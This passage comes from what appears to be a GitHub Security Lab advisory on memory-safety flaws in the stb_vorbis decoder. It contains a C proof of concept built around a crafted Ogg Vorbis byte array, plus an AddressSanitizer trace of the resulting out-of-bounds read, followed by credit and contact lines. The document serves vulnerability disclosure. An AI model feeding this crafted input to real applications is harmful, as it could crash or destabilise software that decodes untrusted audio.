                            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x80,0x02,0x07,0x00,0x80,0x00,0x1b,
                            0x31,0x25,0x24,0x07,0x28,0x34,0x64,0x25,0x00,0x90,0x0a,0x00,0x60,0x50,0x0c,0xcb,0x72,0x55,
                            0x40,0xb3,0x3c,0xcf,0x24,0x03,0x9a,0x27,0x89,0x1a,0x19,0x20,0x52,0xc9,0x00,0x44,0xd7,0x04,
                            0xe0,0x52,0xc9,0x00,0x64,0x26,0x00,0x00,0x00,0x19,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,
                            0x00,0x48,0xb9,0xca,0xff,0xcd,0x32,0xd9,0xb0,0x3a,0xc2,0x49,0xd1,0x58,0x60,0xa1,0x21,0x2b,
                            0x01,0x80,0x08,0x01,0x00,0x87,0xa2,0x48,0x92,0x65,0x69,0x9a,0xe6,0x79,0x9e,0xe7,0x89,0x9e,
                            0xe7,0x79,0x9e,0x28,0x6a,0x96,0xa5,0x69,0x9a,0xe7,0x79,0x9e,0x28,0x8a,0xa2,0x69,0x8a,0xa2,
                            0x28,0x8a,0xa6,0x29,0x5b,0x96,0xa6,0x79,0x9e,0xe7,0x89,0x9e,0x28,0x8a,0xa2,0x28,0x8a,0xa2,
                            0x28,0x9a,0xa6,0x2d,0x8a,0x9e,0x28,0x8a,0xa2,0x69,0x9a,0xa6,0x69,0x9a,0xa6,0x6a,0x9a,0xa6,
                            0xa9,0xaa,0xb2,0x29,0x8a,0x9e,0x28,0x9a,0xa2,0x29,0x9a,0xa6,0x69,0x9a,0xa6,0x69,0x9a,0xa6,
                            0x69,0xca,0xaa,0x2c,0x9a,0xa6,0x69,0xaa,0xa6,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,
                            0x6a,0xcb,0xb6,0x29,0xaa,0xa6,0x6a,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xba,0xaa,
                            0xad,0xdb,0xaa,0xab,0xaa,0xaa,0xab,0xaa,0xaa,0xab,0xba,0xaa,0xaa,0xaa,0xaa,0xea,0xba,0xb6,
                            0x6d,0xbb,0xa6,0x6a,0xaa,0xa6,0xab,0xba,0xae,0xea,0xba,0xae,0xaa,0xaa,0xaa,0xeb,0xda,0xb6,
                            0xed,0xca,0xa6,0xac,0xba,0xae,0xeb,0xba,0xae,0xeb,0xba,0xae,0xaa,0xba,0xae,0x2c,0xcb,0xb6,
                            0x2c,0xbb,0xa6,0xab,0xba,0xae,0xeb,0xba,0xae,0xeb,0xba,0xae,0xeb,0xba,0xae,0x6e,0xeb,0xb2,
                            0xad,0xca,0xae,0xec,0xba,0xb2,0x2b,0xcb,0xb2,0xeb,0xba,0xb2,0x2b,0xcb,0xb2,0x2c,0xcb,0x5c,
                            0xd5,0x55,0x5d,0xd7,0x75,0x5d,0xd7,0x95,0x65,0xdb,0x75,0x65,0xd9,0x96,0x6d,0xdb,0x96,0x65,
                            0xd7,0x76,0x5d,0x57,0x96,0x5d,0x59,0x96,0x5d,0xd7,0x95,0x5d,0x59,0xd7,0x6d,0x5d,0xb6,0x6d,
                            0x55,0x96,0x65,0x59,0x76,0x65,0x59,0x76,0x5d,0x59,0x96,0x6d,0xdf,0xb6,0x65,0xdb,0x76,0x65,
                            0x59,0x96,0x6d,0x59,0x96,0x65,0x59,0x96,0x5d,0x59,0xf6,0x75,0xd9,0xd6,0x6d,0x5b,0x76,0x65,
                            0x57,0x76,0x65,0x59,0x96,0x65,0x57,0xb6,0x65,0x59,0xb7,0x65,0xdb,0xb6,0x6d,0x5d,0x76,0x6d,
                            0x57,0xb6,0x65,0x5b,0x96,0x65,0x57,0x96,0x65,0x5b,0xb6,0x6d,0xdb,0xb6,0x6d,0x5b,0x96,0x6d,
                            0x59,0x76,0x65,0x5d,0x96,0x65,0xd9,0xb6,0x6d,0xdf,0xb6,0x6d,0xdf,0xd6,0x6d,0x5b,0x96,0x5d,
                            0x59,0x96,0x65,0x59,0x96,0x6d,0xdb,0xb6,0x6d,0x5b,0xd6,0x6d,0xdb,0xb6,0x75,0xd9,0x96,0x5d,
                            0xd9,0x96,0x6d,0x59,0x96,0x6d,0x5b,0xb7,0x75,0x5d,0xb7,0x6d,0xdb,0xb7,0x75,0x59,0x97,0x5d,
                            0xdb,0xb6,0x6d,0x59,0xd6,0x75,0x9b,0x6e,0xeb,0xba,0xed,0xd3,0x75,0x5b,0x96,0x65,0x5b,0x96,
                            0x6d,0x5d,0xb6,0x75,0x01,0x00,0x08,0x0b,0x0e,0x00,0x80,0x83,0x46,0x96,0x62,0xa9,0x21,0x77,
                            0x9e,0x81,0x25,0x12,0x33,0xa6,0xa0,0xa1,0x02,0x2b,0x34,0x64,0x45,0x00,0x10,0x05,0x00,0xc0,
                            0x20,0xc4,0x94,0x62,0x4a,0x21,0x84,0x98,0x52,0x4c,0x31,0x84,0x10,0x53,0x8a,0x29,0xc5,0x18,
                            0x63,0x8c,0x31,0xc6,0x18,0x63,0x8c,0x31,0xc6,0x98,0x52,0x8c,0x31,0xc6,0x18,0x63,0x8c,0x31,
                            0xc6,0x18,0x63,0x4a,0x29,0xc6,0x18,0x63,0x8c,0x31,0xc6,0x18,0x63,0x8c,0x09,0x00,0x00,0x07,
                            0x70,0x00,0x00,0x08,0xb0,0x10,0x0a,0x0d,0x59,0x09,0x00,0x00,0x01,0x00,0x58,0x4c,0xd7,0xf6,
                            0x35,0xd1,0x17,0x15,0xc7,0xf2,0x24,0xcf,0x77,0x1d,0x47,0xd2,0x3c,0x51,0xb8,0x2d,0x49,0xb2,
                            0x5c,0x97,0xef,0x59,0x92,0xa3,0xeb,0xa2,0x06,0x8a,0x64,0x7b,0x20,0x49,0xb2,0x2f,0xec,0xb2,
                            0x26,0xbb,0x26,0x00,0x00,0x00,0x82,0x00,0x00,0x03,0x11,0x21,0x31,0x06,0x24,0x02,0x00,0x41,
                            0x81,0x81,0x0c,0x00,0x31,0x40,0x48,0xe8,0x0c,0x11,0x8f,0x4e,0xe8,0xdf,0x2c,0xf9,0x71,0xf4,
                            0xd7,0x9b,0xc1,0xc5,0xa8,0x1a,0x73,0x00,0x80,0x82,0x10,0x11,0x91,0x99,0x51,0x10,0x1a,0x0f,
                            0x4b,0x43,0x22,0x42,0x6e,0x00,0x48,0x4c,0x50,0x48,0x06,0x8b,0x0f,0x80,0x8b,0x14,0xcb,0xc2,
                            0x27,0x71,0xc0,0xda,0xba,0x88,0xde,0x04,0xe2,0x1c,0x31,0xff,0xc8,0xd3,0x5b,0x1e,0x90,0x00,
                            0x05,0x40,0x88,0x63,0x80,0x02,0xc2,0x8d,0xda,0x9a,0x65,0xfe,0x37,0x1a,0xf3,0xd4,0x14,0x73,
                            0x0f,0x00,0x00,0x04,0x00,0x00,0xa0,0x9a,0x1e,0x00,0x00,0x00,0x8e,0x0d,0x20,0xa2,0x21,0x3a,
                            0x8c,0x0c,0x8d,0x0d,0x8e,0x10,0x90,0x8f,0x0e,0x0e,0x00,0x00,0x01,0x00,0x00,0x03,0x40,0x87,
                            0xf0,0x00,0x80,0x43,0x04,0x88,0x68,0x88,0x0e,0x23,0x43,0x63,0x83,0xa3,0xc3,0xe3,0x03,0x24,
                            0x24,0x00,0x00,0x10,0x40,0x00,0x02,0x00,0x00,0x00,0x04,0x10,0x80,0x80,0x80,0x00,0x00,0x00,
                            0x00,0x00,0x40,0x00,0x00,0x00,0x80,0x80,0x4f,0x67,0x67,0x53,0x00,0x00,0xc0,0x2e,0x00,0x00,
                            0x00,0x00,0x00,0x00,0x39,0x30,0x00,0x00,0x02,0x00,0x73,0xdc,0x00,0xcd,0x27,0x00,0x05,0x01,
                            0x0d,0x01,0x00,0x00,0x03,0x66,0xba,0x01,0x1e,0x38,0x89,0x8d,0x06,0xfc,0x00,0xd1,0x00,0x2e,
                            0xb3};
    size_t size = sizeof(data);

    int chan, samplerate;
    short *output;
    int samples = stb_vorbis_decode_memory(data, size, &chan, &samplerate, &output);
    if (samples >= 0)
        free(output);
    return 0;
}
  1. Run the program to hit the error.
AddressSanitizer:DEADLYSIGNAL
=================================================================
==241158==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000005001e0 bp 0x7ffc7060a860 sp 0x7ffc70608e40 T0)
==241158==The signal is caused by a READ memory access.
    #0 0x5001e0 in vorbis_decode_packet_rest(stb_vorbis*, int*, Mode*, int, int, int, int, int*) tests/../stb_vorbis.c:3231:22
    #1 0x4e1480 in vorbis_decode_packet(stb_vorbis*, int*, int*, int*) tests/../stb_vorbis.c:3453:11
    #2 0x4f4628 in vorbis_pump_first_frame(stb_vorbis*) tests/../stb_vorbis.c:3512:10
    #3 0x4f94b6 in stb_vorbis_open_memory tests/../stb_vorbis.c:5116:10
    #4 0x4fbfb1 in stb_vorbis_decode_memory tests/../stb_vorbis.c:5390:20

CVE

Credit

These issues were discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-145, GHSL-2023-146, GHSL-2023-147, GHSL-2023-148, GHSL-2023-149, GHSL-2023-150, GHSL-2023-151, GHSL-2023-165, GHSL-2023-166, GHSL-2023-167, GHSL-2023-168, GHSL-2023-169, GHSL-2023-170, GHSL-2023-171 or GHSL-2023-172 in any communication regarding these issues.